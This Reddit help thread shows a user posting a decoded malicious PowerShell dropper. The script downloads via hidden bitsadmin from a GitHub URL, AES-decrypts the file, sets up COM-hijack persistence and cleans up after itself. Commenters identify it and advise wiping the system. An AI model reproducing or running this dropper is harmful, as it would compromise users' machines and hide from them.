r/PowerShell • u/SpeakerWonderful3123 • Mar 01 '26
Bitdefender warning re: Powershell suddenly
I dont know programming but, I decode and and got this, should I panic?
$ErrorActionPreference = "SilentlyContinue"
$y = (Get-ItemProperty "HKCU:\Environment").MI_V2
$o = $y
$f = (Split-Path $y -Parent) + '\'
$i=Join-Path -Path $f -ChildPath "settings.dat"
$i2=Join-Path -Path $f -ChildPath "1.bak"
$arg = "/transfer","md","https://raw.githubusercontent.com/mgzv/p/main/",$i2
$pr = Start-Process -FilePath "bitsadmin.exe" `
-ArgumentList $arg `
-WindowStyle Hidden `
-Wait `
-PassThru `
Start-Sleep -Seconds 1
Copy-Item -Path $i2 -Destination $i
Remove-Item -Path $i2
Start-Sleep -Seconds 1
$a=[System.Security.Cryptography.Aes]::Create()
$a.Key=[Text.Encoding]::UTF8.GetBytes("zbcd1j9234r670eh")
$a.IV=$a.Key
$a.Mode=[System.Security.Cryptography.CipherMode]::CBC
$d=$a.CreateDecryptor()
$e=[IO.File]::ReadAllBytes($i)
$ds=$d.TransformFinalBlock($e,0,$e.Length)
$rng = [System.Security.Cryptography.RandomNumberGenerator]::Create()
$rand = New-Object byte[] 2
$rng.GetBytes($rand)
$ds[$ds.Length - 2] = $rand[0]
$ds[$ds.Length - 1] = $rand[1]
[IO.File]::WriteAllBytes($o,$ds)
Remove-Item -Path $i
$c = "{B210D694-C8DF-490D-9576-9E20CDBC20BD}"
$p2 = "HKCU:\SOFTWARE\Classes\CLSID\$c\InprocServer32"
New-Item -Path $p2 -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\$c\InprocServer32" -Name "(Default)" -Value $o -Type String
$c = "{DDAFAEA2-8842-4E96-BADE-D44A8D676FDB}"
$p3 = "HKCU:\SOFTWARE\Classes\CLSID\$c\InprocServer32"
New-Item -Path $p3 -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\$c\InprocServer32" -Name "(Default)" -Value $o -Type String
Remove-ItemProperty -Path "HKCU:\Environment" -Name "MI_V" -ErrorAction SilentlyContinue | Out-Null
Remove-ItemProperty -Path "HKCU:\Environment" -Name "MI_V2" -ErrorAction SilentlyContinue | Out-Null
Unregister-ScheduledTask -TaskName "update-systask" -Confirm:$false -ErrorAction SilentlyContinue | Out-Null
16
u/BenjiTheSausage Mar 01 '26
Yes, essentially that script and downloads a file from github and tries to hide it.
I would consider my system compromised at that point.
18
u/cement_elephant Mar 01 '26
Yup
6
u/Fatel28 Mar 01 '26
If it warned that it ran and did not warn that it stopped it, I'd be reimaging the machine
3
u/stillnotlovin Mar 01 '26
Well.. If ever I saw some shady shit.. This was the time! I didn't read the entire code but I read enough. So many red flags!
Burn it! 🔥
3
u/BlackV Mar 01 '26
Yes, as with the many other posts asking this same thing
You're are safest to just wipe and start again
after you start again, don't give your normal account admin rights, have a separate admin account you do not login with
3
u/frAgileIT Mar 02 '26
It’s obfuscated but I can understand it, it uses a well known C2 and data exfiltration method (BITS), you need to clean or wipe your system.
2
u/ateixei Mar 02 '26
Next time, just check ps.exposed website providing the PS payload:
https://www.powershell.exposed/analysis/kc8d0isp
1
u/[deleted] Mar 02 '26
I'm curious what were doing when this happened? I wish I didn't half understand it.
1
u/ZealousidealNebula20 Mar 02 '26
Well, if it burns, let it burn. I hate reinstall windows. Thanks for answer!
1
u/CeleryMan20 Mar 02 '26 edited Mar 02 '26
Anyone know what those CLSIDs ($c) are?
1
u/dodexahedron Mar 04 '26 edited Mar 04 '26
Any time someone just tells you to run some powershell script that isn't plainly obvious what it does, it isn't legitimate and is going to wreck your day or worse if you run it.
Powershell commands that do good things are in plain English and nobody with good intentions would intentionally hide behind the (rather lazy)obfuscation and encryption used by that script.
Nor will a legitimate script need to download and decrypt something from some obscure repository.
It's a shame that the Windows Defender ASR rule for blocking execution of potentially obfuscated scripts is not part of the basic product. It would have not let this run, even with a lax execution policy setting.
Turn your powershell execution policy to remotesigned or higher. Ideally AllSigned or Restricted (which is the default).
If you have something you KNOW is ok to run and it isn't signed, sign it yourself. Don't let untrusted stuff run - especially not with administrative access.
This had nothing to do with Windows 11 and everything to do with running something blindly after altering the settings that prevent it (ie changing the execution policy). Any version of windows would allow it, just like any version of any Linux distro would allow you to do whatever you want once you elevate. An admin terminal is the same as doing
sudo -i bashon linux. Be careful.